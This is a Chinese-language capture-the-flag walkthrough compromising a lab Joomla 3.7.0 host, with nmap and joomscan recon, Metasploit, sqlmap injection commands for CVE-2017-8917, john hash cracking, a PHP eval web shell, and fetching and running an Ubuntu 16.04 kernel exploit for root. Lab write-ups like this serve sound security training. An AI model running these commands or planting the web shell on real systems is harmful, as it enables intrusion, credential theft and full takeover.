arp-scan -l
得到靶机ip 192.168.179.145
进行nmap扫描
nmap -sT --min-rate 10000 192.168.179.145
nmap -sT -sC -sV -O -p80 192.168.179.145
nmap --script-vuln -p80 192.168.179.145
打开80端口
通过Wappalyzer火狐插件得知CMS为Joomla,
利用Joomla的扫描器进行扫描.
joomscan -u http://192.168.179.145
成功拿到一个登录界面
方法1:使用msf
用msf扫描一下是否有joomla 3.7.0 的漏洞
msfconsole
search joomla 3.7.0
use 0
options
set RHOSTS 靶机ip
run
按道理来说这里应该已经可以直接进入了,但是我这里出现了错误,
提示[-] Exploit aborted due to failure: unknown: 192.168.179.145:80: No logged-in Administrator or Super User user found!
然后过了一会重新试了一下又可以了(要在/administrator登录后才能直接进入)
成功拿到www-root
方法2:使用searchsploit(需要爆破数据库获得admin的密码)
searchsploit joomla 3.7.0
searchsploit -p 42033.txt //-p显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./
//将42033.txt放在当前目录下
(其实和msf使用的漏洞是同一个,但是不知道为什么msf那边不能正常利用)
根据42033.txt这个文档可以清楚看到
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
//我们稍作修改,将localhost改为靶机的ip。
暴库
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
//跟撞库的url只在末尾加了 -D joomla --tables
再爆_users的字段
sqlmap -u "http://192.168.179.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables -T "#__users" --columns
//同理,只在爆表的url后面加入了 -T "#__users" --columns
爆内容
sqlmap -u "http://192.168.179.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables -T "#__users" -C "username,password" --dump
将admin的密码hash值存进1.txt中,用john进行破解
john 1.txt --wordlist /usr/share/wordlists/rockyou.txt
john 1.txt --show
得到用户admin 密码snoopy
成功登录
找到可以文件上传的页面
将一句话木马写入index.php中
<?php @eval($_POST['a']);?>
打开蚁剑进行连接
连接成功。
使用蚁剑的虚拟终端进行操作。
提权
先查看一下/etc/passwd和/etc/crontab这两个文件
没有什么可以利用的信息
尝试通过系统漏洞提权
cat /etc/issue 查看操作系统版本
searchsploit Ubuntu 16.04
使用39772.txt
查看文档,最后一行有exp的链接
wget下载下来后解压
python -m http.server 8080
//开启http服务
进入39772/,复制exploit.tar连接地址
然后在靶机中下载并解压
解压后进入ebpf_mapfd_doubleput_exploit/文件夹后依次执行compile.sh和doubleput.sh两个文件
./compile.sh
./doubleput.sh
成功提权
定妆照
总结:
1、通过Wappalyzer插件发现CMS为joomla,使用joomscan成功拿到一个administrator的登录界面。
2、使用searchsploit对joomla 3.7.0进行搜索,搜索到一个漏洞CVE-2017-8917,查看文档可以看到它提示我们使用sqlmap并提供了url。
3、通过sqlmap一步步爆破出数据库、表名、以及表的内容,最后发现admin和admin的hash密码,通过john暴力破解hash密码得到
密码为snoopy(同样可以利用burpsuite爆破administrator页面来获取admin的密码)。
4、登录administrator后
方法一:直接使用msf拿到shell。
方法二:在进入administrator后找到可以文件上传的地方,传入一句话木马,用蚁剑进行连接,拿到shell。
5、利用Ubuntu 16.0的内核漏洞进行提权。